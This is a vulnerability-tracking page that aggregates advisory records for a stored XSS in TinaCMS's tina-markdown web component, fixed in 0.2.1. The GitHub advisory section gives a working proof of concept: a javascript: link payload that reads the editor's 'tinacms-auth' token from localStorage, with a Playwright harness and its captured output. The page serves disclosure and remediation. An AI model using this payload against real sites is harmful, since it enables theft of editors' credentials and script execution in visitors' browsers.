@tinacms/web-components: `tina-markdown` writes rich-text link URLs into `href` without scheme validation, allowing stored XSS

CISA KEV is observed exploitation evidence. FIRST EPSS is a dated prediction of exploitation in the next 30 days. Missing scores are unknown. This collector requests predictions only for explicit CVE aliases in the public NuGet archive; Microsoft release views retain their existing prediction scope.

No collected risk observation for these identifiers. This does not establish absence of exploitation or a zero probability.

Tina is a headless content management system. Prior to 0.2.1, the tina-markdown element in packages/@tinacms/web-components/src/tina-markdown.js assigns a rich-text node.url value directly to an anchor href without validating the URL scheme. A content author can store a link using a script-capable scheme, and a visitor who clicks the rendered link executes attacker-controlled script in the site's origin. The script can access same-origin application data and, when the visitor is an editor or administrator, may expose credentials stored by the TinaCMS admin on that origin. This issue is fixed in version 0.2.1.

Source published

9 Oct 2026 20:40:37 UTC

Source modified

13 Oct 2026 15:17:14 UTC

Observed here

23 Oct 2026 15:48:27 UTC

Source terms

CVE Program Terms of Use

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CVSS 3.1 · 7.6 CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:L/A:N

Tina is a headless content management system. Prior to 0.2.1, the tina-markdown element in packages/@tinacms/web-components/src/tina-markdown.js assigns a rich-text node.url value directly to an anchor href without validating the URL scheme. A content author can store a link using a script-capable scheme, and a visitor who clicks the rendered link executes attacker-controlled script in the site's origin. The script can access same-origin application data and, when the visitor is an editor or administrator, may expose credentials stored by the TinaCMS admin on that origin. This issue is fixed in version 0.2.1.

Source published

Oct 9, 2026, 8:40:37 PM (timezone not stated)

Source modified

Oct 13, 2026, 3:17:14 PM (timezone not stated)

Observed here

9 Nov 2026 05:08:50 UTC

Source terms

ENISA EUVD · source terms and attribution apply

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This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: euvd · ENISA EUVD · source terms and attribution apply. Source text is retained; field grouping and change labels are provided by ChangeIntel.

EUVD CVSS 3.1 · 7.6 CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:L/A:N

Tina is a headless content management system. Prior to 0.2.1, the tina-markdown element in packages/@tinacms/web-components/src/tina-markdown.js assigns a rich-text node.url value directly to an anchor href without validating the URL scheme. A content author can store a link using a script-capable scheme, and a visitor who clicks the rendered link executes attacker-controlled script in the site's origin. The script can access same-origin application data and, when the visitor is an editor or administrator, may expose credentials stored by the TinaCMS admin on that origin. This issue is fixed in version 0.2.1.

Source published

9 Oct 2026 21:17:04 UTC

Source modified

16 Oct 2026 20:04:29 UTC

Observed here

25 Oct 2026 05:17:13 UTC

Source terms

NIST NVD usage terms; underlying source attribution retained

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: nvd · NIST NVD usage terms; underlying source attribution retained. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 3.1 · [email protected] · Secondary · 7.6 CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:L/A:N

### Summary `<tina-markdown>` renders a rich-text AST into the DOM and, for `a` nodes, assigns the node's URL straight to the anchor's `href` with no scheme check. A link authored in the CMS as `javascript:…` renders as a live `javascript:` anchor, so a visitor who clicks it executes attacker-supplied script in the site's origin. Every sibling renderer in the repository already sanitizes these URLs; this one does not. ### Details The unvalidated sink: ``` packages/@tinacms/web-components/src/tina-markdown.js:67-69 if (node.type === 'html' || node.type === 'html_inline') { return DOMPurify.sanitize(node.value, { RETURN_DOM_FRAGMENT: true }); } packages/@tinacms/web-components/src/tina-markdown.js:75 if (node.url && node.type === 'a') el.href = node.url; packages/@tinacms/web-components/src/tina-markdown.js:76 if (node.url && node.type === 'img') el.src = node.url; ``` `node.url` comes from the `content` attribute the site populates from the TinaCMS content API (`:169-176`), i.e. whatever a content author typed into a rich-text field. The DOMPurify call at `:68` handles only raw-HTML node values and returns before the anchor branch, so it never inspects `node.url`. Line 75 is a direct property assignment — no HTML parser, no sanitizer. The `mode: 'open'` shadow root (`:164-167`) provides no script isolation. The guard that exists in every sibling renderer: ``` packages/@tinacms/mdx/src/sanitize-url.ts:10 allowedSchemes = ['http','https','mailto','tel','xref'] packages/tinacms/src/rich-text/index.tsx:335 <a href={sanitizeUrl(child.url)}> packages/tinacms/src/rich-text/index.tsx:322 <img src={sanitizeUrl(child.url)} .../> packages/tinacms/src/rich-text/static.tsx:254 <a href={sanitizeUrl(child.url)}> packages/tinacms/src/rich-text/static.tsx:242 <img src={sanitizeUrl(child.url)} .../> packages/@tinacms/astro/src/LinkNode.astro:19 <a href={sanitizeHref(node.url)}> packages/@tinacms/astro/src/ImageNode.astro:16 <img src={sanitizeImageSrc(node.url)} .../> ``` `tina-markdown.js:75` is the only rich-text link sink in the repository that omits it — six of seven sanitize. That this is an oversight rather than intent: the `0.2.0` changelog entry states the goal of "matching the `components` prop on the React and Astro renderers" while adding DOMPurify for `html` nodes, and `packages/@tinacms/web-components/src/tina-markdown.test.ts:83-96` only asserts that an `https://example.com` link renders — no scheme case is covered either way. Default-enabled: `customElements.define('tina-markdown', TinaMarkdown)` runs at module scope (`:179`); importing the published entry point is the whole setup, with no option object or sanitizer setting. Suggested fix — reuse the existing dependency-free subpath export rather than adding a third implementation: ```js import { sanitizeUrl } from '@tinacms/mdx/sanitize-url'; if (node.url && node.type === 'a') el.href = sanitizeUrl(node.url); if (node.url && node.type === 'img') el.src = sanitizeUrl(node.url); ``` Variant with the same root cause and the same fix: `:76` (`img.src`). A `javascript:` URL does not execute from `img.src`, so it is not scored here, but the line has no validation either — which is why `@tinacms/astro` carries a separate `sanitizeImageSrc`. ### PoC Safe, local, non-destructive. One loopback server stands in for a public site rendering CMS rich-text. The page loads `tina-markdown.js` byte-for-byte from the checkout (bundled with its declared `dompurify` dependency) and also exposes the repository's own `sanitizeUrl` so the same input can be run through the canonical guard as a control. No traffic leaves the machine; the payload only writes a page-local variable. Environment used: Linux, Node v22.23.1, Google Chrome (`/usr/bin/google-chrome`) driven by `[email protected]`. **Setup** ```bash git clone https://github.com/tinacms/tinacms.git tinacms-poc cd tinacms-poc && git checkout 0d38acfdd23143384b8787d5d772b713fa7af163 REPO=$PWD mkdir -p /tmp/tina-tm/site && cd /tmp/tina-tm npm init -y >/dev/null npm i --ignore-scripts [email protected] [email protected] [email protected] cp "$REPO/packages/@tinacms/web-components/src/tina-markdown.js" ./tina-markdown.js cp "$REPO/packages/@tinacms/mdx/src/sanitize-url.ts" ./sanitize-url.ts ``` `entry.js`: ```js import './tina-markdown.js'; // registers <tina-markdown> import { sanitizeUrl } from './sanitize-url.ts'; // the canonical guard, for the control window.__sanitizeUrl = sanitizeUrl; ``` `site/index.html` — the AST is what `@tinacms/graphql` returns for the markdown source `[click me](javascript:…)`: ```html <!doctype html><html><head><title>public site rendering CMS rich-text</title></head> <body> <h1>Site page</h1> <div id="host"></div> <script type="module" src="/bundle.js"></script> <script type="module"> const ast = { type: 'root', children: [ { type: 'p', children: [ { type: 'a', url: "javascript:window.__pwned=document.domain+' | localStorage[tinacms-auth]='+localStorage.getItem('tinacms-auth');void 0", children: [{ type: 'text', text: 'click me' }] } ]} ] }; // Stand-in for a signed-in editor's stored TinaCMS credential. The real key and // value are written by packages/tinacms/src/internalClient/authProvider.ts:117. localStorage.setItem('tinacms-auth', 'DEMO-EDITOR-TOKEN'); const el = document.createElement('tina-markdown'); el.setAttribute('content', JSON.stringify(ast)); document.getElementById('host').appendChild(el); window.__ready = true; </script> </body></html> ``` `run.cjs`: ```js const http=require('http'),fs=require('fs'),path=require('path'),{chromium}=require('playwright'); const PORT=8811, DIR=path.join(__dirname,'site'); const srv=http.createServer((req,res)=>{const p=req.url==='/'?'/index.html':req.url.split('?')[0]; const f=path.join(DIR,p); if(!f.startsWith(DIR)||!fs.existsSync(f)){res.writeHead(404).end('nf');return;} res.writeHead(200,{'content-type':p.endsWith('.js')?'text/javascript':'text/html; charset=utf-8'}); res.end(fs.readFileSync(f));}); (async()=>{await new Promise(r=>srv.listen(PORT,'127.0.0.1',r)); const browser=await chromium.launch({executablePath:'/usr/bin/google-chrome'}); const page=await browser.newPage(); await page.goto(`http://127.0.0.1:${PORT}/`); await page.waitForFunction(()=>window.__ready===true); await page.waitForTimeout(300); const rendered=await page.evaluate(()=>{const a=document.querySelector('tina-markdown').shadowRoot.querySelector('a'); return {hrefAttr:a&&a.getAttribute('href')};}); await page.evaluate(()=>document.querySelector('tina-markdown').shadowRoot.querySelector('a').click()); await page.waitForTimeout(500); const pwned=await page.evaluate(()=>window.__pwned||null); const control=await page.evaluate(()=>window.__sanitizeUrl("javascript:window.__pwned = document.domain")); console.log(JSON.stringify({renderedAnchorHref:rendered.hrefAttr, scriptExecutedOnClick:pwned!==null, capturedByPayload:pwned, control_sanitizeUrl_output:control},null,2)); await browser.close(); srv.close();})(); ``` **Run** ```bash cd /tmp/tina-tm npx esbuild entry.js --bundle --outfile=site/bundle.js --format=esm --loader:.ts=ts node run.cjs ``` **Observed output (captured verbatim)** ```json { "renderedAnchorHref": "javascript:window.__pwned=document.domain+' | localStorage[tinacms-auth]='+localStorage.getItem('tinacms-auth');void 0", "scriptExecutedOnClick": true, "capturedByPayload": "127.0.0.1 | localStorage[tinacms-auth]=DEMO-EDITOR-TOKEN", "control_sanitizeUrl_output": "" } ``` Expected vulnerable output — `renderedAnchorHref` is the attacker-supplied `javascript:` string unchanged (no scheme validation at the sink), `scriptExecutedOnClick` is `true`, and `capturedByPayload` contains the page's own domain plus the value read out of `localStorage['tinacms-auth']` (script ran in the site origin with full read access to that origin's storage). All held. Control — `control_sanitizeUrl_output` is `""`. The repository's own `sanitizeUrl`, invoked in the same browser realm on the same class of input, rejects the scheme. That is exactly what `packages/tinacms/src/rich-text/index.tsx:335` and `packages/@tinacms/astro/src/LinkNode.astro:19` do for the identical AST, which isolates the defect to the missing call rather than to the input or the harness. Second control, internal to the same file: an `html` node carrying `<a href="javascript:alert(1)">x</a>` is stripped by the DOMPurify call at `:68`, so the same payload delivered as raw HTML is blocked while the same payload delivered as a link node is not. **Cleanup** ```bash rm -rf /tmp/tina-tm ``` The PoC was re-run after this report was drafted; the JSON above is that run. ### Impact Stored cross-site scripting via an unvalidated URL scheme in a link attribute. A user whose only capability is editing content gains script execution in every visitor's browser session on the site's origin. Because TinaCMS's documented layout serves the admin from the same origin (`public/admin/`) and stores the editor token in `localStorage` under `tinacms-auth` (`packages/tinacms/src/auth/authenticate.ts:5`, written at `packages/tinacms/src/internalClient/authProvider.ts:117`), a clicking visitor who is themselves an editor or administrator exposes that credential — the PoC reads it. Impacted: any site rendering TinaCMS rich-text through `<tina-markdown>`. That component exists precisely for non-React sites, i.e. the deployments that do not get `tinacms`'s sanitized React renderer. ### Credits - Thai Son Dinh from VinSOC Labs (R&D)

Source published

9 Oct 2026 20:56:45 UTC

Source modified

9 Oct 2026 21:15:04 UTC

Observed here

24 Oct 2026 13:17:17 UTC

Source terms

GitHub Advisory Database · CC-BY-4.0

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This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · GitHub Advisory Database · CC-BY-4.0. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS_V3 · CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:L/A:N

Publisher rating · HIGH